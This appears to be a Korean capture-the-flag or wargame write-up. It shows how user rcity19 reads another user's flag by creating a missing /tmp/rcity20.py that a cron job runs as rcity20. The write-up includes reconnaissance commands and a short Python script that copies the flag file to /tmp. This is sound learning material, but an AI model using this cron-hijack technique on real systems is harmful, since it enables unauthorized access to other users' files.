1. 문제 상황
2. 해결 과정
처음에는 echo 등으로 출력시키는 방식을 시도했으나 cron 스케줄을 확인해본 결과 사용자가 rcity20으로 설정되어있어서 rcity19인 나는 cron 실행 결과를 못본다는 걸 뒤늦게 알게 됨# 기초 정보 획득 단계
pwd
ls -alh
# 문제 설명에 따라 rcity20 디렉토리 확인
cd /home/rcity20
ls -alh
cat flag.txt
# rcity20에 대한 정보 획득
grep -r "rcity20" / 2>/dev/null
# 얻은 정보를 이용해 cron 확인
cat /etc/cron.d/rcity20_cronjob # 매분마다 /tmp/rcity20.py가 실행되도록 설정되어 있으므로 rcity20.py 확인
cat /tmp/rcity20.py # 파일이 없는 것 확인
# 실행될 파이썬 파일 생성 및 작성
touch /tmp/rcity20.py
vi /tmp/rcity20.py
# cron 실행 결과를 다른 파일로 저장하고 해당 파일 읽기
cat /tmp/result.txt
# rcity20.py by chatgpt
input_file_path = '/home/rcity20/flag.txt'
output_file_path = '/tmp/result.txt'
try:
# apple.txt 파일을 읽어서 내용을 가져옴
with open(input_file_path, 'r') as input_file:
content = input_file.read()
# /tmp/result.txt 파일을 생성하고 내용을 저장
with open(output_file_path, 'w') as output_file:
output_file.write(content)
print("rcity20.py 실행 완료. 결과를 /tmp/result.txt에 저장했습니다.")
except Exception as e:
print(f"오류 발생: {e}")